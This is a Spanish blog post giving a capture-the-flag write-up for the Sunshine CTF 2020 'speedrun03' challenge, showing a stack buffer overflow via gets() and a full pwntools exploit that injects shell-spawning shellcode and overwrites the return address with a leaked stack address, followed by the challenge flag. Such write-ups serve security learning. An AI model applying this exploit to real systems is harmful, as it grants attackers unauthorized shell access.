En este post la solución a otro reto de la categoría 'Binary Exploitation' de la competición Sunshine CTF 2020.
En este caso la solución al desafío que lleva por título "speedrun03", y que, en mi opinión, presenta un nivel de dificultad medio (★★★☆☆).
- Enunciado:
- Solución: Se proporciona un archivo ejecutable (chall_03) y lo primero que hago es ejecutarlo; incluyo una cadena larga ('AAA…A'), se muestra lo que parece ser una dirección de memoria y veo que el binario es vulnerable a un desbordamiento de ‘buffer’ (en inglés, ‘buffer overflow’):
Después, compruebo los mecanismos de seguridad del binario utilizando ‘checksec’:
Se trata de un binario de 64 bits, y como se ve en la figura anterior NX está deshabilitado, por lo que podré inyectar ‘shellcode’ en la pila (en inglés, ‘stack’) para ejecutarlo, y PIE está habilitado, lo que aleatoriza la dirección base del binario para dificultar el uso por un atacante de sus funciones y de ‘gadgets’ del propio binario (en español dispositivos, y que, en este caso, son pequeños fragmentos de código ya presentes en el binario).
Decompilo el binario con ’Ghidra’:
Veo que en main() se utiliza fgets() en lugar de gets() lo que, en principio, evitaría un desbordamiento de ‘buffer’.
Sin embargo, también veo que se realiza una llamada a la función vuln():
Esta función
utiliza gets(), por lo que
es susceptible a un ataque de desbordamiento de ‘buffer’.
El ‘buffer’ tiene un tamaño de 112 bytes y, conforme al nombre de la variable local_78 en ‘Ghidra’, la dirección de retorno de la función se encontraría desplazada 0x78 (120) bytes desde la dirección de inicio del ‘buffer’.
Asimismo, veo que la dirección que se muestra al ejecutar el binario es la de inicio del ‘buffer’.
Por tanto, mi plan de ataque consiste en sobrescribir la dirección de retorno de la función vuln() con la de inicio del ‘buffer’, en el que incluiré un ‘shellcode’ para abrir una ‘shell’, con lo que posteriormente podré buscar y ver la flag, y, en consecuencia, resolver este reto.
Para implementar el ataque creo un pequeño ‘exploit’ mediante un ‘script’ en python para introducir en el 'buffer' el ‘shellcode’ para abrir la ‘shell’, rellenar con NOP´s (‘No Operation’), ‘\x90’, el resto de posiciones de la pila hasta la correspondiente a la dirección de retorno de la función vuln(), en la que incluiré la dirección de inicio del 'buffer' que filtre el binario:
#!/usr/bin/env python3
from pwn import *
context.binary = ELF('./chall_03')
p = remote('chal.2020.sunshinectf.org', 30003)
p.sendlineafter('Just in time.\n','')
p.recvuntil('I\'ll make it: ')
stack_address = p.recvline().strip()
stack_address = int(stack_address,16)
log.info('stack: ' + hex(stack_address))
payload = asm(shellcraft.sh())
payload += (0x78 - len(payload)) * b'\x90'
payload += p64(stack_address)
p.sendline(payload)
p.interactive()
Lo ejecuto:
A partir de que se abra la
‘shell’,
lo único que queda por hacer es buscar la flag en el servidor. Veo que
hay un fichero llamado flag.txt que contiene la solución a este reto: sun{a-little-piece-of-heaven-26c8795afe7b3c49}
Comentarios
Publicar un comentario